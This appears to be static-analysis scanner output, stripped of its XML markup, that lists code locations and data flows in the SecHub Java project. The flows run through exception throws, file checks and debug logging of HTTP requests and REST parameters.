+ + 5 + + + 276 + throw new IllegalStateException("no user given"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 294 + 4 + 1 + ThrowStmt + + 5 + + + 294 + throw new IllegalStateException("no product base url given"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 300 + 4 + 1 + ThrowStmt + + 5 + + + 300 + throw new IllegalStateException("Proxy set, but no port!"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 306 + 4 + 1 + ThrowStmt + + 5 + + + 306 + throw new IllegalStateException("no apiToken given"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 54 + 4 + 1 + ThrowStmt + + 5 + + + 54 + throw new IllegalArgumentException("Workspace may not be null!"); + + + + + sechub-adapter-faraday/src/test/java/com/daimler/sechub/adapter/faraday/FaradayAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws AdapterException { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayConfig.java + 103 + 5 + 1 + ThrowStmt + + 5 + + + 103 + throw new IllegalStateException("no customer given"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayConfig.java + 109 + 5 + 1 + ThrowStmt + + 5 + + + 109 + throw new IllegalStateException("no workspace base name given"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayConfig.java + 116 + 5 + 1 + ThrowStmt + + 5 + + + 116 + throw new IllegalArgumentException( + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestApplication.java + 31 + 4 + 1 + ThrowStmt + + 5 + + + 31 + throw new IllegalArgumentException("password not set in system properties!"); + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestApplication.java + 15 + 21 + 2 + main + + 4 + + + 15 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestApplication.java + 35 + 4 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalArgumentException("variant not set in system properties!"); + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestApplication.java + 15 + 21 + 2 + main + + 4 + + + 15 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfig.java + 78 + 5 + 1 + ThrowStmt + + 5 + + + 78 + throw new IllegalArgumentException("not a netsparker config:"+adapterConfig); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfig.java + 83 + 5 + 1 + ThrowStmt + + 5 + + + 83 + throw new IllegalStateException("website url (root target url ) may not be null at this point!"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfig.java + 101 + 5 + 1 + ThrowStmt + + 5 + + + 101 + throw new IllegalStateException("no licenseID given"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 30 + 4 + 1 + ThrowStmt + + 5 + + + 30 + throw new IllegalArgumentException("call with target gen folder as first parameter only!"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 159 + 4 + 1 + ThrowStmt + + 5 + + + 159 + throw new IllegalStateException(e + " folder not found :" + envFolder.getAbsolutePath()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 253 + 5 + 1 + ThrowStmt + + 5 + + + 253 + throw new IOException("Was not able to create secret file:" + secretFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 285 + 4 + 1 + ThrowStmt + + 5 + + + 285 + throw new IllegalStateException("folder does not exist:" + folder.getAbsolutePath()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 28 + 4 + 1 + ThrowStmt + + 5 + + + 28 + throw new IllegalArgumentException(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 99 + 5 + 1 + ThrowStmt + + 5 + + + 99 + throw new IllegalStateException("UseCaseRestDoc annotation may only added one time to test method!"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 151 + 3 + 1 + ThrowStmt + + 5 + + + 151 + throw new IllegalStateException("Spring rest doc gen folder not found for id:" + entry.path+",\nlastTry:"+ ( lastTry!=null?lastTry.getAbsolutePath():"null")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 20 + 4 + 1 + ThrowStmt + + 5 + + + 20 + throw new IllegalArgumentException("null not allowed as file!"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 20 + 4 + 1 + ThrowStmt + + 5 + + + 20 + throw new IllegalArgumentException("null not allowed as file!"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 25 + 5 + 1 + ThrowStmt + + 5 + + + 25 + throw new IOException("was not able to delete existing file:"+targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 25 + 5 + 1 + ThrowStmt + + 5 + + + 25 + throw new IOException("was not able to delete existing file:"+targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 32 + 5 + 1 + ThrowStmt + + 5 + + + 32 + throw new IllegalStateException("Not able to create folder structure for:"+targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 32 + 5 + 1 + ThrowStmt + + 5 + + + 32 + throw new IllegalStateException("Not able to create folder structure for:"+targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 35 + 5 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalStateException("was not able to create new file:"+targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 35 + 5 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalStateException("was not able to create new file:"+targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestApplication.java + 80 + 67 + 1 + getProperty + + 1 + + + 80 + System.out.println(systemPropertyName + "=" + System.getProperty(systemPropertyName)); + + + + + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 51 + 67 + 1 + getProperty + + 1 + + + 51 + System.out.println(systemPropertyName + "=" + System.getProperty(systemPropertyName)); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 45 + 1 + getProperty + + 1 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 53 + 1 + listFiles + + 1 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 63 + 40 + 1 + listFiles + + 1 + + + 63 + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 72 + 44 + 1 + listFiles + + 1 + + + 72 + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 40 + 35 + 1 + listFiles + + 1 + + + 40 + for (File child: file.listFiles(FILE_FILTER)){ + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 170 + 20 + 1 + exists + + 1 + + + 170 + if (! file.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 24 + 1 + exists + + 1 + + + 157 + if (!envFolder.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 27 + 1 + exists + + 1 + + + 272 + if (!secHubServer.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 21 + 1 + exists + + 1 + + + 284 + if (!folder.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 53 + 18 + 1 + exists + + 1 + + + 53 + if (file.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 59 + 25 + 1 + exists + + 1 + + + 59 + if (!sechHubDoc.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 23 + 1 + exists + + 1 + + + 146 + if (expected.exists()) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 37 + 27 + 1 + exists + + 1 + + + 37 + if (!gradleFolder.exists()) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 50 + 26 + 1 + exists + + 1 + + + 50 + if (gradleFolder.exists()) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 166 + 19 + 1 + exists + + 1 + + + 166 + if (!file.exists()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 76 + 29 + 1 + isDirectory + + 1 + + + 76 + return file.isDirectory() && file.getName().equals("build"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 67 + 28 + 1 + isDirectory + + 1 + + + 67 + return file.isDirectory(); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 20 + 24 + 1 + isDirectory + + 1 + + + 20 + if (file.isDirectory()) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 36 + 23 + 1 + isDirectory + + 1 + + + 36 + if (file.isDirectory()) { + + + + + + + + + sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupportTest.java + 26 + 29 + 1 + getSingleResult + + 1 + + + 26 + when(query.getSingleResult()).thenThrow(new NoResultException("does not exist")); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java + 39 + 29 + 1 + getResultList + + 1 + + + 39 + return query.getResultList(); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/AccessRepository.java + 15 + 45 + 1 + userId + + 8 + + + 15 + public void deleteAcessForUserAtAll(String userId); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 16 + 76 + 1 + projectName + + 11 + + + 16 + public List<ProjectWhitelistEntry> fetchWhiteListEntriesForProject(String projectName); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 20 + 48 + 1 + projectName + + 11 + + + 20 + public void deleteAllEntriesForProject(String projectName); + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 51 + 31 + 1 + getHeaders + + 1 + + + 51 + sb.append(request.getHeaders().toString()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 51 + 42 + 2 + toString + + 1 + + + 51 + sb.append(request.getHeaders().toString()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 51 + 12 + 3 + append + + 1 + + + 51 + sb.append(request.getHeaders().toString()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 52 + 3 + 4 + sb + + 2 + + + 52 + sb.append("\n URI:"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 53 + 3 + 5 + sb + + 2 + + + 53 + sb.append(request.getURI().toString()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 54 + 3 + 6 + sb + + 2 + + + 54 + sb.append("\n Body:\n"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 55 + 3 + 7 + sb + + 2 + + + 55 + sb.append(new String(body, "UTF-8")); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 56 + 3 + 8 + sb + + 2 + + + 56 + sb.append("\n\nResponse:"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 57 + 3 + 9 + sb + + 2 + + + 57 + sb.append("\n Status:"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 58 + 3 + 10 + sb + + 2 + + + 58 + sb.append(response.getStatusCode()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 59 + 3 + 11 + sb + + 2 + + + 59 + sb.append(":"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 60 + 3 + 12 + sb + + 2 + + + 60 + sb.append(response.getStatusText()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 61 + 3 + 13 + sb + + 2 + + + 61 + sb.append("\n Headers:"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 62 + 3 + 14 + sb + + 2 + + + 62 + sb.append(response.getHeaders().toString()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 63 + 3 + 15 + sb + + 2 + + + 63 + sb.append("\n Body:"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 65 + 4 + 16 + sb + + 2 + + + 65 + sb.append(buffer.lines().collect(Collectors.joining("\n"))); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 69 + 3 + 17 + sb + + 2 + + + 69 + sb.append(response.getHeaders().toString()); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 71 + 20 + 18 + sb + + 2 + + + 71 + String message = sb.toString(); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 71 + 31 + 19 + toString + + 1 + + + 71 + String message = sb.toString(); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 71 + 10 + 20 + message + + 7 + + + 71 + String message = sb.toString(); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 72 + 13 + 21 + message + + 7 + + + 72 + LOG.debug(message); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 72 + 12 + 22 + debug + + 1 + + + 72 + LOG.debug(message); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 96 + 94 + 1 + userId + + 8 + + + 96 + public ProjectDetailInformation showProjectDetails(@PathVariable(name="projectName") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 98 + 38 + 2 + userId + + 8 + + + 98 + return detailsService.fetchDetails(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java + 32 + 54 + 3 + projectName + + 11 + + + 32 + public ProjectDetailInformation fetchDetails(String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java + 33 + 55 + 4 + projectName + + 11 + + + 33 + LOG.debug("fetching project details for project:{}",projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java + 33 + 12 + 5 + debug + + 1 + + + 33 + LOG.debug("fetching project details for project:{}",projectName); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 116 + 75 + 1 + projectName + + 11 + + + 116 + public void assignUserToProject(@PathVariable(name="projectName") String projectName, @PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 118 + 60 + 2 + projectName + + 11 + + + 118 + assignUserToProjectService.assignUserToProject(userId, projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 48 + 58 + 3 + projectName + + 11 + + + 48 + public void assignUserToProject(String userId, String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 49 + 57 + 4 + projectName + + 11 + + + 49 + Project project = projectRepository.findOrFailProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 49 + 56 + 5 + findOrFailProject + + 1 + + + 49 + Project project = projectRepository.findOrFailProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 49 + 11 + 6 + project + + 7 + + + 49 + Project project = projectRepository.findOrFailProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 51 + 8 + 7 + project + + 7 + + + 51 + if (!project.getUsers().add(user)) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 55 + 19 + 8 + getUsers + + 1 + + + 55 + project.getUsers().add(user); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 55 + 19 + 9 + getUsers + + 1 + + + 55 + project.getUsers().add(user); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 61 + 93 + 10 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/Project.java + 71 + 10 + 11 + name + + 4 + + + 71 + return name; + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 61 + 93 + 12 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 61 + 12 + 13 + debug + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 116 + 126 + 1 + userId + + 8 + + + 116 + public void assignUserToProject(@PathVariable(name="projectName") String projectName, @PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 118 + 50 + 2 + userId + + 8 + + + 118 + assignUserToProjectService.assignUserToProject(userId, projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 48 + 41 + 3 + userId + + 8 + + + 48 + public void assignUserToProject(String userId, String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 50 + 45 + 4 + userId + + 8 + + + 50 + User user = userRepository.findOrFailUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 50 + 44 + 5 + findOrFailUser + + 1 + + + 50 + User user = userRepository.findOrFailUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 50 + 8 + 6 + user + + 4 + + + 50 + User user = userRepository.findOrFailUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 54 + 19 + 7 + getProjects + + 1 + + + 54 + user.getProjects().add(project); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 54 + 19 + 8 + getProjects + + 1 + + + 54 + user.getProjects().add(project); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 57 + 31 + 9 + user + + 4 + + + 57 + boolean userGainsUserRole = user.getRoles().add(UserRole.USER); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 57 + 44 + 10 + getRoles + + 1 + + + 57 + boolean userGainsUserRole = user.getRoles().add(UserRole.USER); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 61 + 74 + 11 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/User.java + 87 + 10 + 12 + name + + 4 + + + 87 + return name; + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 61 + 74 + 13 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 61 + 12 + 14 + debug + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 125 + 79 + 1 + projectName + + 11 + + + 125 + public void unassignUserFromProject(@PathVariable(name="projectName") String projectName, @PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 127 + 66 + 2 + projectName + + 11 + + + 127 + unassignUserToProjectService.unassignUserFromProject(userId, projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 45 + 62 + 3 + projectName + + 11 + + + 45 + public void unassignUserFromProject(String userId, String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 46 + 57 + 4 + projectName + + 11 + + + 46 + Project project = projectRepository.findOrFailProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 46 + 56 + 5 + findOrFailProject + + 1 + + + 46 + Project project = projectRepository.findOrFailProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 46 + 11 + 6 + project + + 7 + + + 46 + Project project = projectRepository.findOrFailProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 48 + 24 + 7 + getUsers + + 1 + + + 48 + if (!project.getUsers().remove(user)) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 48 + 8 + 8 + project + + 7 + + + 48 + if (!project.getUsers().remove(user)) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 61 + 93 + 9 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/Project.java + 71 + 10 + 10 + name + + 4 + + + 71 + return name; + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 61 + 93 + 11 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 61 + 12 + 12 + debug + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 125 + 130 + 